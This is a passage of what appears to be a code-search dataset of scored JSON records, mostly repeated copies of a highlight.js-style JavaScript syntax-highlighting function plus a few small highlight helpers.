compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "ff3d87a3da769c25184a8123f9ddae6e", "score": "0.54499537", "text": "function highlightModifications (highightable) {\n\t\n\tvar options = {};\n\toptions.colors = new Array();\n\t\n highlightable.highlightPeptide(options); \n}", "title": "" }, { "docid": "a8939d24dbf99935dac37023312d41d7", "score": "0.54476875", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function escapeRe(value) {\n return new RegExp(value.replace(/[-\\/\\\\^$*+?.()|[\\]{}]/g, '\\\\$&'), 'm');\n }\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n if (mode.contains[i].endSameAsBegin) {\n mode.contains[i].endRe = escapeRe( mode.contains[i].beginRe.exec(lexeme)[0] );\n }\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag;\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords)\n return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage != null ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip && !top.subLanguage) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n if (end_mode.endSameAsBegin) {\n end_mode.starts.endRe = end_mode.endRe;\n }\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "1e878b3f2ae97f6d3b0644b3fc1c8c2c", "score": "0.5446484", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function escapeRe(value) {\n return new RegExp(value.replace(/[-\\/\\\\^$*+?.()|[\\]{}]/g, '\\\\$&'), 'm');\n }\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n if (mode.contains[i].endSameAsBegin) {\n mode.contains[i].endRe = escapeRe( mode.contains[i].beginRe.exec(lexeme)[0] );\n }\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords)\n return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage != null ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip && !top.subLanguage) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n if (end_mode.endSameAsBegin) {\n end_mode.starts.endRe = end_mode.endRe;\n }\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "1e878b3f2ae97f6d3b0644b3fc1c8c2c", "score": "0.5446484", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function escapeRe(value) {\n return new RegExp(value.replace(/[-\\/\\\\^$*+?.()|[\\]{}]/g, '\\\\$&'), 'm');\n }\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n if (mode.contains[i].endSameAsBegin) {\n mode.contains[i].endRe = escapeRe( mode.contains[i].beginRe.exec(lexeme)[0] );\n }\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords)\n return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage != null ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip && !top.subLanguage) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n if (end_mode.endSameAsBegin) {\n end_mode.starts.endRe = end_mode.endRe;\n }\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "409b4a5c3dc93e858aa13dd325d50de2", "score": "0.54455405", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n\t function subMode(lexeme, mode) {\n\t for (var i = 0; i < mode.contains.length; i++) {\n\t if (testRe(mode.contains[i].beginRe, lexeme)) {\n\t return mode.contains[i];\n\t }\n\t }\n\t }\n\n\t function endOfMode(mode, lexeme) {\n\t if (testRe(mode.endRe, lexeme)) {\n\t while (mode.endsParent && mode.parent) {\n\t mode = mode.parent;\n\t }\n\t return mode;\n\t }\n\t if (mode.endsWithParent) {\n\t return endOfMode(mode.parent, lexeme);\n\t }\n\t }\n\n\t function isIllegal(lexeme, mode) {\n\t return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n\t }\n\n\t function keywordMatch(mode, match) {\n\t var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n\t return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n\t }\n\n\t function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n\t var classPrefix = noPrefix ? '' : options.classPrefix,\n\t openSpan = '<span class=\"' + classPrefix,\n\t closeSpan = leaveOpen ? '' : '</span>';\n\n\t openSpan += classname + '\">';\n\n\t return openSpan + insideSpan + closeSpan;\n\t }\n\n\t function processKeywords() {\n\t if (!top.keywords)\n\t return escape(mode_buffer);\n\t var result = '';\n\t var last_index = 0;\n\t top.lexemesRe.lastIndex = 0;\n\t var match = top.lexemesRe.exec(mode_buffer);\n\t while (match) {\n\t result += escape(mode_buffer.substr(last_index, match.index - last_index));\n\t var keyword_match = keywordMatch(top, match);\n\t if (keyword_match) {\n\t relevance += keyword_match[1];\n\t result += buildSpan(keyword_match[0], escape(match[0]));\n\t } else {\n\t result += escape(match[0]);\n\t }\n\t last_index = top.lexemesRe.lastIndex;\n\t match = top.lexemesRe.exec(mode_buffer);\n\t }\n\t return result + escape(mode_buffer.substr(last_index));\n\t }\n\n\t function processSubLanguage() {\n\t var explicit = typeof top.subLanguage == 'string';\n\t if (explicit && !languages[top.subLanguage]) {\n\t return escape(mode_buffer);\n\t }\n\n\t var result = explicit ?\n\t highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n\t highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n\t // Counting embedded language score towards the host language may be disabled\n\t // with zeroing the containing mode relevance. Usecase in point is Markdown that\n\t // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n\t // score.\n\t if (top.relevance > 0) {\n\t relevance += result.relevance;\n\t }\n\t if (explicit) {\n\t continuations[top.subLanguage] = result.top;\n\t }\n\t return buildSpan(result.language, result.value, false, true);\n\t }\n\n\t function processBuffer() {\n\t return top.subLanguage !== undefined ? processSubLanguage() : processKeywords();\n\t }\n\n\t function startNewMode(mode, lexeme) {\n\t var markup = mode.className? buildSpan(mode.className, '', true): '';\n\t if (mode.returnBegin) {\n\t result += markup;\n\t mode_buffer = '';\n\t } else if (mode.excludeBegin) {\n\t result += escape(lexeme) + markup;\n\t mode_buffer = '';\n\t } else {\n\t result += markup;\n\t mode_buffer = lexeme;\n\t }\n\t top = Object.create(mode, {parent: {value: top}});\n\t }\n\n\t function processLexeme(buffer, lexeme) {\n\n\t mode_buffer += buffer;\n\t if (lexeme === undefined) {\n\t result += processBuffer();\n\t return 0;\n\t }\n\n\t var new_mode = subMode(lexeme, top);\n\t if (new_mode) {\n\t result += processBuffer();\n\t startNewMode(new_mode, lexeme);\n\t return new_mode.returnBegin ? 0 : lexeme.length;\n\t }\n\n\t var end_mode = endOfMode(top, lexeme);\n\t if (end_mode) {\n\t var origin = top;\n\t if (!(origin.returnEnd || origin.excludeEnd)) {\n\t mode_buffer += lexeme;\n\t }\n\t result += processBuffer();\n\t do {\n\t if (top.className) {\n\t result += '</span>';\n\t }\n\t relevance += top.relevance;\n\t top = top.parent;\n\t } while (top != end_mode.parent);\n\t if (origin.excludeEnd) {\n\t result += escape(lexeme);\n\t }\n\t mode_buffer = '';\n\t if (end_mode.starts) {\n\t startNewMode(end_mode.starts, '');\n\t }\n\t return origin.returnEnd ? 0 : lexeme.length;\n\t }\n\n\t if (isIllegal(lexeme, top))\n\t throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n\t /*\n\t Parser should not reach this point as all types of lexemes should be caught\n\t earlier, but if it does due to some bug make sure it advances at least one\n\t character forward to prevent infinite looping.\n\t */\n\t mode_buffer += lexeme;\n\t return lexeme.length || 1;\n\t }\n\n\t var language = getLanguage(name);\n\t if (!language) {\n\t throw new Error('Unknown language: \"' + name + '\"');\n\t }\n\n\t compileLanguage(language);\n\t var top = continuation || language;\n\t var continuations = {}; // keep continuations for sub-languages\n\t var result = '', current;\n\t for(current = top; current != language; current = current.parent) {\n\t if (current.className) {\n\t result = buildSpan(current.className, '', true) + result;\n\t }\n\t }\n\t var mode_buffer = '';\n\t var relevance = 0;\n\t try {\n\t var match, count, index = 0;\n\t while (true) {\n\t top.terminators.lastIndex = index;\n\t match = top.terminators.exec(value);\n\t if (!match)\n\t break;\n\t count = processLexeme(value.substr(index, match.index - index), match[0]);\n\t index = match.index + count;\n\t }\n\t processLexeme(value.substr(index));\n\t for(current = top; current.parent; current = current.parent) { // close dangling modes\n\t if (current.className) {\n\t result += '</span>';\n\t }\n\t }\n\t return {\n\t relevance: relevance,\n\t value: result,\n\t language: name,\n\t top: top\n\t };\n\t } catch (e) {\n\t if (e.message.indexOf('Illegal') != -1) {\n\t return {\n\t relevance: 0,\n\t value: escape(value)\n\t };\n\t } else {\n\t throw e;\n\t }\n\t }\n\t }", "title": "" }, { "docid": "fe269ab5118ede255aaef79d8a856199", "score": "0.54366136", "text": "function highlightStringWithColor(color_string) {\n formatText(\"HiliteColor\",color_string);\n}", "title": "" }, { "docid": "71a91744aa833fb63d2128517b9a1202", "score": "0.54270035", "text": "highlightAll() {\n this.isHighlighting = true;\n this.showVisibleHighlights();\n }", "title": "" }, { "docid": "22fcb44d2b6a87f6984f0c3bb655b4e4", "score": "0.5423373", "text": "function highlight(name, value, ignore_illegals, continuation) {\n function escapeRe(value) {\n return new RegExp(value.replace(/[-\\/\\\\^$*+?.()|[\\]{}]/g, '\\\\$&'), 'm');\n }\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n if (mode.contains[i].endSameAsBegin) {\n mode.contains[i].endRe = escapeRe(mode.contains[i].beginRe.exec(lexeme)[0]);\n }\n\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n\n return mode;\n }\n\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag;\n openSpan += classname + '\">';\n if (!classname) return insideSpan;\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n if (!top.keywords) return escape(mode_buffer);\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ? highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) : highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined); // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += top.subLanguage != null ? processSubLanguage() : processKeywords();\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className ? buildSpan(mode.className, '', true) : '';\n top = Object.create(mode, {\n parent: {\n value: top\n }\n });\n }\n\n function processLexeme(buffer, lexeme) {\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n\n processBuffer();\n\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n\n if (end_mode) {\n var origin = top;\n\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n\n processBuffer();\n\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n\n do {\n if (top.className) {\n result += spanEndTag;\n }\n\n if (!top.skip && !top.subLanguage) {\n relevance += top.relevance;\n }\n\n top = top.parent;\n } while (top !== end_mode.parent);\n\n if (end_mode.starts) {\n if (end_mode.endSameAsBegin) {\n end_mode.starts.endRe = end_mode.endRe;\n }\n\n startNewMode(end_mode.starts, '');\n }\n\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top)) throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n\n var result = '',\n current;\n\n for (current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n\n var mode_buffer = '';\n var relevance = 0;\n\n try {\n var match,\n count,\n index = 0;\n\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match) break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n\n processLexeme(value.substr(index));\n\n for (current = top; current.parent; current = current.parent) {\n // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "34ea76f53aba0822a7d494ddfa056d05", "score": "0.54232013", "text": "hightlight(index){\n\t\tHighlighter.hightlight(index);\n\t}", "title": "" }, { "docid": "dec4f332fee89a5cd401b8ea3d02a75d", "score": "0.5422859", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n for (var i = 0; i < mode.contains.length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while 